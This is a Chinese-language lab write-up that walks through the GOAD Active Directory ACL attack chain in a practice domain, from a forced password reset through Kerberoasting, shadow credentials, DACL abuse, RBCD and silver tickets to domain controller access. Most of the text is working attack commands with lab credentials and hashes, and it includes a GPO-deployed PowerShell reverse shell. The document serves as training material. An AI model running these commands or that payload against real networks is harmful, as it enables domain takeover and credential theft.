前言
第一次写文章,不足之处,多多担待.
也是简单的复现了靶场了
本次环境是GOAD的ACL环境
[Orange-Cyberdefense/GOAD: game of active directory (github.com)](https:/
首先,我们将从 tywin.lannister(密码:powerkingftw135)开始关注 ACL 的 sevenkingdoms 杀戮链
The path here is :
这里的路径是:
用户和用户
Tywin -> Jaime : 更改密码用户
Jaime -> Joffrey:通用写入用户 Joffrey -> Tyron :用户 WriteDacl
用户和组
Tyron -> small council : 在组中添加成员
组和组
Small council -> dragon stone : 将所有者组写入组 dragonstone -> kingsguard : 将所有者写入组
组和用户
kingsguard -> stannis : Generic all on User
用户和计算机
stannis -> kingslanding : 计算机上的通用
GPO abuse
Read Laps password
Tywin -> Jaime : 更改密码用户
这里tywin对jaime有强制更改密码的权限
听说不可能有这个权限-.-
更改密码为Qwer123!
net rpc password jaime.lannister -U sevenkingdoms.local/tywin.lannister%powerkingftw135 -S kingslanding.sevenkingdoms.local
crackmapexec smb 192.168.56.10 -u jaime.lannister -d sevenkingdoms.local -p Qwer123!
Jaime -> Joffrey:通用写入用户
有 jaime 密码,我们现在将利用从 Jaime 到 Joffrey 的 GenericWrite
这可能会滥用 3 种不同的技术:
shadowCredentials(windows server 2016 或 +) targetKerberoasting(密码应该足够弱以被破解) logonScript(这需要一个用户连接,老实说它从来没有工作过,或者除非使用已经在 sysvol 中的脚本)
Target Kerberoasting 目标 Kerberoasting
首先让我们做一个目标 Kerberoasting,原理很简单。向用户添加 SPN,请求 tgs,删除用户的 SPN。
现在我们可以像经典的 kerberoasting 一样破解 TGS。
Shutdown 有一个工具可以为您完成所有工作:https://github.com/ShutdownRepo/targetedKerberoast
targetedKerberoast.py -v -d sevenkingdoms.local -u jaime.lannister -p Qwer123! --request-user joffrey.baratheon
hashcat -m 13100 -a 0 joffrey.hash rockyou.txt --force
获得joffey的密码
影子凭证
可以使用certipy获得joffrey的TGT以及hash
certipy shadow auto -u jaime.lannister@sevenkingdoms.local -p 'pasdebraspasdechocolat' -account 'joffrey.baratheon'
Logon script
ldeep ldap -u jaime.lannister -p 'Qwer123!' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=joffrey.baratheon)' scriptpath
作者说这个行不通
滥用 GenericWrite 的另一种方法是更改 profilePath 并等待连接以获得 NetNtlmv2 身份验证并中继到另一台计算机或破解它。
#teat.py
import ldap3
dn = "CN=joffrey.baratheon,OU=Crownlands,DC=sevenkingdoms,DC=local"
user = "sevenkingdoms.local\\jaime.lannister"
password = "Qwer123!"
server = ldap3.Server('kingslanding.sevenkingdoms.local')
ldap_con = ldap3.Connection(server = server, user = user, password = password, authentication = ldap3.NTLM)
ldap_con.bind()
ldap_con.modify(dn,{'profilePath' : [(ldap3.MODIFY_REPLACE, '\\\\192.168.56.2\share')]})
print(ldap_con.result)
ldap_con.unbind()
通过启动 RDP 连接启动响应器并模拟 joffrey 连接 来中继获得 joffrey.baratheon 和kingslanding$ 的 NetNLMV2 哈希值!
responder -I eth1
xfreerdp /d:sevenkingdoms.local /u:joffrey.baratheon /p:'1killerlion' /v:192.168.56.10 /size:80% /cert-ignore
Joffrey -> Tyron :用户 WriteDacl
要利用从 Joffrey 到 Tyron 的 writeDacl,我们可以使用 dacledit.py
首先,我们将克隆由 shutdown (@_nwodtuhs) 创建的 impacket 的 fork,以使用 dacledit 获取最后的 PR
git clone https://github.com/ThePorgs/impacket.git
cd impacket
python3 setup.py install
首先让我们看看Joffrey对tyron的权限:
dacledit.py -action 'read' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
Joffrey对tyron有writeDACl的权限
dacledit.py -action 'write' -rights 'FullControl' -principal joffrey.baratheon -target 'tyron.lannister' 'sevenkingdoms.local'/'joffrey.baratheon':'1killerlion'
写入一条 fullcontrol权限
好的,现在我们可以: 更改tyron密码
net rpc password tyron.lannister -U sevenkingdoms.local/joffrey.baratheon%1killerlion -S kingslanding.sevenkingdoms.local
做一个目标target kerberoasting
python targetedKerberoast.py -v -d sevenkingdoms.local -u joffrey.baratheon -p '1killerlion' --request-user 'tyron.lannister'
hashcat -m 13100 -a 0 tyron.hash pass.txt --force
做一个影子凭据
certipy shadow auto -u c@sevenkingdoms.local -p '1killerlion' -account 'tyron.lannister'
Tyron -> small council : 在组中添加成员
添加成员需要用户和组的distinguishedName
ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=tyron.lannister)' distinguishedName
ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 search '(sAMAccountName=Small Council)' distinguishedName
ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=Small Council,OU=Crownlands,DC=sevenkingdoms,DC=local"
ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 membersof 'Small Council'
添加成功
Small council -> dragon stone : 将所有者组写入组
现在作为 tyron,我们在Small council中,所以我们可以添加一个成员到 dragonstone 的组中。 所以我们像以前一样添加 tyron
ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=DragonStone,OU=Crownlands,DC=sevenkingdoms,DC=local"
ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 membersof 'DragonStone'
dragonstone -> kingsguard : 将所有者写入组
注意:使用上面的impacket的环境
owneredit.py -action write -owner 'tyron.lannister' -target 'kingsguard' -hashes ':dc74e4b573eb79b4c4e24b00101fc1a1' sevenkingdoms.local/tyron.lannister
owneredit.py -action read -target 'kingsguard' -hashes ':dc74e4b573eb79b4c4e24b00101fc1a1' sevenkingdoms.local/tyron.lannister
现在 kingsguard group的owner是tyron.lannister
作为组的所有者,我们现在可以更改 acl 并在组中为我们提供 GenericAll
dacledit.py -action 'write' -rights 'FullControl' -principal tyron.lannister -target 'kingsguard' 'sevenkingdoms.local'/'tyron.lannister' -hashes ':dc74e4b573eb79b4c4e24b00101fc1a1'
使用 GenericAll 现在我们可以将 tyron 添加到 kingsguard 组上面只是kingsguard 组的拥有者tyron不在组内
ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 add_to_group "CN=tyron.lannister,OU=Westerlands,DC=sevenkingdoms,DC=local" "CN=kingsguard,OU=Crownlands,DC=sevenkingdoms,DC=local"
ldeep ldap -u tyron.lannister -H ':dc74e4b573eb79b4c4e24b00101fc1a1' -d sevenkingdoms.local -s ldap://192.168.56.10 membersof 'kingsguard'
kingsguard -> stannis : Generic all on User
拥有genericall,可以直接更改密码
net rpc password stannis.baratheon --pw-nt-hash -U sevenkingdoms.local/tyron.lannister%dc74e4b573eb79b4c4e24b00101fc1a1 -S kingslanding.sevenkingdoms.local
crackmapexec smb 192.168.56.10 -u stannis.baratheon -d sevenkingdoms.local -p Qwer123!
stannis -> kingslanding : 计算机上的通用
资源的约束委派
滥用此权限的一种方法是使用基于资源的约束委派
创建计算机 X (rbcd$)
addcomputer.py -computer-name 'rbcd$' -computer-pass 'rbcdpass' -dc-host kingslanding.sevenkingdoms.local 'sevenkingdoms.local/stannis.baratheon:Qwer123!'
添加委托从 X (rbcd$) 写入我们的目标
rbcd.py -delegate-from 'rbcd$' -delegate-to 'kingslanding$' -dc-ip 'kingslanding.sevenkingdoms.local' -action 'write' sevenkingdoms.local/stannis.baratheon:Qwer123!
现在 X (rbcd$) 获得了对我们目标的委托许可,您现在可以执行 s4u2self 查询,然后执行 S4u2proxy
getST.py -spn 'cifs/kingslanding.sevenkingdoms.local' -impersonate Administrator -dc-ip 'kingslanding.sevenkingdoms.local' 'sevenkingdoms.local/rbcd$:rbcdpass'
export KRB5CCNAME=/workspace/rbcd/Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k -no-pass @kingslanding.sevenkingdoms.local
rbcd.py -delegate-from 'rbcd$' -delegate-to 'kingslanding$' -dc-ip 'kingslanding.sevenkingdoms.local' -action 'flush' sevenkingdoms.local/stannis.baratheon:Qwer123!
addcomputer.py -computer-name 'rbcd$' -computer-pass 'rbcdpass' -dc-host kingslanding.sevenkingdoms.local 'sevenkingdoms.local/cersei.lannister:il0vejaime' -delete
影子凭证
另外一种是影子凭证
certipy shadow auto -u stannis.baratheon@sevenkingdoms.local -p 'Qwer123!' -account 'kingslanding$'
现在我们得到了 kingslanding$ 的 tgt 和 NT 哈希
显然我们可以做一个 dcsync 因为 kingslanding 是一个 DC,但是我们尝试直接获取一个 shell
要做到这一点,最简单的方法是使用 s4u2self abuse 或创建一张银票
s4u2self abuse
export KRB5CCNAME=kingslanding.ccache
getST.py -self -impersonate "Administrator" -altservice "cifs/kingslanding.sevenkingdoms.local" -k -no-pass -dc-ip 192.168.56.10 "sevenkingdoms.local"/'kingslanding$'
export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
wmiexec.py -k -no-pass sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local
银票
查找域 SID:
lookupsid.py -hashes ':8dc883110158b424957d747ea0d2cae1' 'sevenkingdoms.local'/'kingslanding$'@kingslanding.sevenkingdoms.local 0
ticketer.py -nthash '8dc883110158b424957d747ea0d2cae1' -domain-sid 'S-1-5-21-3621576433-799811104-949646468' -domain sevenkingdoms.local -spn cifs/kingslanding.sevenkingdoms.local Administrator
export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass sevenkingdoms.local/administrator@kingslanding.sevenkingdoms.local
GPO abuse
在north域存在 GPO abuse
gpofilepath 知道gpoid
python3 pygpoabuse.py north.sevenkingdoms.local/samwell.tarly:'Heartsbane' -gpo-id "40EB1D54-F395-4B16-ACE2-6F127D0B82B9" -powershell -command "\$c = New-Object System.Net.Sockets.TCPClient('192.168.56.2',4444);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){ \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i); \$sb = (iex \$d 2>&1 | Out-String ); \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> '); \$s.Write(\$sb,0,\$sb.Length); \$s.Flush()};\$c.Close()" -taskname "abuse_gpo" -f -description "don't worry"
[+] ScheduledTask abuse_gpo created!
Read Laps password
crackmapexec ldap 192.168.56.12 -d essos.local -u jorah.mormont -p 'H0nnor!' --module laps
REF:
GOAD - part 11 - ACL | Mayfly --- GOAD - 第 11 部分 - ACL |蜉蝣 (mayfly277.github.io)